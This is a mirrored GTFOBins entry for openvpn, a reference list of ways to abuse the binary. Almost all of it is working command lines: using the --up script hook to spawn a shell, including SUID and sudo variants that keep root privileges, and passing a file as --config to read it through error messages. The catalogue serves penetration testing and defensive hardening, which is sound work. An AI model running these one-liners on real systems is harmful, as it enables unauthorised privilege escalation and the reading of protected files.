1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 08:16:02 +02:00
GTFOBins.github.io/_gtfobins/openvpn.md
2021-02-20 00:56:32 +01:00

889 B

functions
shell file-read suid sudo
code
openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
description code
The file is actually parsed and the first partial wrong line is returned in an error message. LFILE=file_to_read openvpn --config "$LFILE"
code
./openvpn --dev null --script-security 2 --up '/bin/sh -p -c "sh -p"'
description code
The file is actually parsed and the first partial wrong line is returned in an error message. LFILE=file_to_read ./openvpn --config "$LFILE"
code
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
description code
The file is actually parsed and the first partial wrong line is returned in an error message. LFILE=file_to_read sudo openvpn --config "$LFILE"